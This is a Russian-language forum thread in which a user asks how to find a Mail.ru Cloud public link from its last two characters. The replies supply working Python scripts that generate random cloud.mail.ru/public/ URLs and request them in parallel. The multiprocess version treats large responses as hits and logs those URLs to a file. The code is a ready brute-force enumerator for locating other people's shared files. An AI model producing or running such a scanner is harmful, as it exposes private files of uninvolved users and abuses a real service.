• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Генератор ссылок на питоне

v1gman

Green Team
31.07.2020
495
540
мне нужно найти ссылку на облако меил; у меня имеются два последних символа
мне нужна найти ссылку по этим критериям (два последних символа)
такой вопрос: как создаются ссылки для облако меил ?
 
Решение
мне нужно найти ссылку на облако меил; у меня имеются два последних символа
мне нужна найти ссылку по этим критериям (два последних символа)
такой вопрос: как создаются ссылки для облако меил ?
Думаю, что кроме банального брутфорса сложно что-то придумать:

Python:
import string
import random


def get_sample(target_length):
    target_range = string.digits + string.ascii_letters
    return "".join(random.sample(target_range, target_length))


def generator(last_two_chars=""):
    url_prefix = "https://cloud.mail.ru/public/"
    url_prefix += get_sample(4)
    if last_two_chars:
        return f"{url_prefix}/{get_sample(7)}{last_two_chars}"
    else:
        return f"{url_prefix}/{get_sample(9)}"
     
     
if __name__ ==...
мне нужно найти ссылку на облако меил; у меня имеются два последних символа
мне нужна найти ссылку по этим критериям (два последних символа)
такой вопрос: как создаются ссылки для облако меил ?
Думаю, что кроме банального брутфорса сложно что-то придумать:

Python:
import string
import random


def get_sample(target_length):
    target_range = string.digits + string.ascii_letters
    return "".join(random.sample(target_range, target_length))


def generator(last_two_chars=""):
    url_prefix = "https://cloud.mail.ru/public/"
    url_prefix += get_sample(4)
    if last_two_chars:
        return f"{url_prefix}/{get_sample(7)}{last_two_chars}"
    else:
        return f"{url_prefix}/{get_sample(9)}"
     
     
if __name__ == "__main__":
    for _ in range(5):
        print(generator(""))
    for _ in range(5):
        print(generator("ab"))

Ну и в многопоточном режиме реквестом отправлять запросы.
Если в тексте страницы нет ошибки 404, значит там что-то есть...
 
Решение
Думаю, что кроме банального брутфорса сложно что-то придумать:

Python:
import string
import random


def get_sample(target_length):
    target_range = string.digits + string.ascii_letters
    return "".join(random.sample(target_range, target_length))


def generator(last_two_chars):
    url_prefix = "https://cloud.mail.ru/public/"
    url_prefix += get_sample(4)
    if last_two_chars:
        return f"{url_prefix}/{get_sample(7)}{last_two_chars}"
    else:
        return f"{url_prefix}/{get_sample(9)}"
     
     
if __name__ == "__main__":
    for _ in range(5):
        print(generator(""))
    for _ in range(5):
        print(generator("ab"))

Ну и в многопоточном режиме реквестом отправлять запросы.
Если в тексте страницы нет ошибки 404, значит там что-то есть...
спасибо большое
 
Вот таким может быть "многопоточный" вариант
Размер отдаваемой страницы с контентом и без значительно отличается,
на этом основании и сделана проверка
1614600194858.png

Python:
import string
import random
import requests
from colorama import Fore
from multiprocessing import Pool, Lock


def get_sample(target_length):
    target_range = string.digits + string.ascii_letters
    return "".join(random.sample(target_range, target_length))


def generator(last_chars=""):
    url_prefix = "https://cloud.mail.ru/public/"
    url_prefix += get_sample(4)
    if last_chars:
        return f"{url_prefix}/{get_sample(9-len(last_chars))}{last_chars}"
    else:
        return f"{url_prefix}/{get_sample(9)}"
    

def write_url_to_file(url):
    with open("output.txt", "a") as writer:
        writer.write(url + "\n")
    

def get_page_size(target_url):
    if len(requests.get(target_url).text) > 700000:
        print(f"{Fore.GREEN}Good url: {target_url}!")
        write_url_to_file(target_url)
    else:
        print(f"{Fore.RED}Bad url: {target_url}")


def main():
    processes_num = get_processes_from_user()
    while targets := [generator() for _ in range(100)]:
        with Pool(processes=processes_num) as my_pool:
            my_pool.map(get_page_size, targets) 


def get_processes_from_user():
    while not (num := input(Fore.GREEN + "Enter number of processes: ")).isdigit():
        print(Fore.RED, "Wrong answer! You should enter a number [1..1000]")
    return int(num)


if __name__ == "__main__":
    try:        
        main()
    except KeyboardInterrupt:
        print(Fore.WHITE, 'Stopped by user!')
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab